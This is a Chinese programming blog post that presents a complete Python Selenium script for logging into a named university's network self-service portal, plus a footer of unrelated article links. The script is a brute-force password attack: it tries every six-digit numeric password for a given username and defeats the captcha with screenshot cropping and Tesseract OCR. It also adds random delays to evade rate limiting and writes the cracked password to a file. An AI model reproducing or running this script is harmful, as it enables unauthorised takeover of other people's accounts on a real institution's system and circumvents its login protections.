python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
在Python中处理日期和时间的基本知识点整理汇总
May 22 Python
Python比较2个时间大小的实现方法
Apr 10 Python
浅谈Tensorflow模型的保存与恢复加载
Apr 26 Python
pandas把所有大于0的数设置为1的方法
Jan 26 Python
基于python分析你的上网行为 看看你平时上网都在干嘛
Aug 13 Python
python每天定时运行某程序代码
Aug 16 Python
python使用matplotlib绘制雷达图
Oct 18 Python
python实现淘宝购物系统
Oct 25 Python
python软件都是免费的吗
Jun 18 Python
python实现股票历史数据可视化分析案例
Jun 10 Python
Django+Celery实现定时任务的示例
Jun 23 Python
详细介绍python操作RabbitMq
Apr 12 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
PHP Switch 语句之学习笔记
2013/09/21 PHP
基于命令行执行带参数的php脚本并取得参数的方法
2016/01/25 PHP
thinkphp在php7环境下提示Cannot use ‘String’ as class name as it is reserved的解决方法
2016/09/30 PHP
Laravel如何使用数据库事务及捕获事务失败后的异常详解
2017/10/23 PHP
PHP如何获取Cookie并实现模拟登录
2020/07/16 PHP
javascript 面向对象全新理练之原型继承
2009/12/03 Javascript
nodejs实用示例 缩址还原
2010/12/28 NodeJs
浅析JavaScript基本类型与引用类型
2014/05/28 Javascript
浅析JavaScript事件和方法
2015/02/28 Javascript
浅谈JavaScript的函数及作用域
2016/12/30 Javascript
JavaScript 函数节流详解及方法总结
2017/02/09 Javascript
JS模拟实现ECMAScript5新增的数组方法
2017/03/20 Javascript
详解angular用$sce服务来过滤HTML标签
2017/04/11 Javascript
Vue filter介绍及详细使用
2018/04/04 Javascript
原生JS进行前后端同构
2018/04/22 Javascript
jQuery中DOM常见操作实例小结
2019/08/01 jQuery
layui 实现表格某一列显示图标
2019/09/19 Javascript
整理 node-sass 安装失败的原因及解决办法(小结)
2020/02/19 Javascript
koa2的中间件功能及应用示例
2020/03/05 Javascript
微信小程序实现菜单左右联动
2020/05/19 Javascript
Javascript实现打鼓效果
2021/01/29 Javascript
python正则表达式去掉数字中的逗号(python正则匹配逗号)
2013/12/25 Python
利用python实现命令行有道词典的方法示例
2017/01/31 Python
Python解析命令行读取参数--argparse模块使用方法
2018/01/23 Python
Python文件读写常见用法总结
2019/02/22 Python
连接pandas以及数组转pandas的方法
2019/06/28 Python
python自动从arxiv下载paper的示例代码
2020/12/05 Python
TUMI澳大利亚网站:美国旅行箱包品牌
2017/03/27 全球购物
世界上最大的铁人三项商店:Tri UK
2020/11/04 全球购物
考博自荐信
2013/10/25 职场文书
留学生如何写好自荐信
2013/12/27 职场文书
自我鉴定注意事项
2014/01/19 职场文书
新手上路标语
2014/06/20 职场文书
村党支部群众路线教育实践活动对照检查材料
2014/09/26 职场文书
七年级作文之英语老师
2019/10/28 职场文书
python 中的@运算符使用
2021/05/26 Python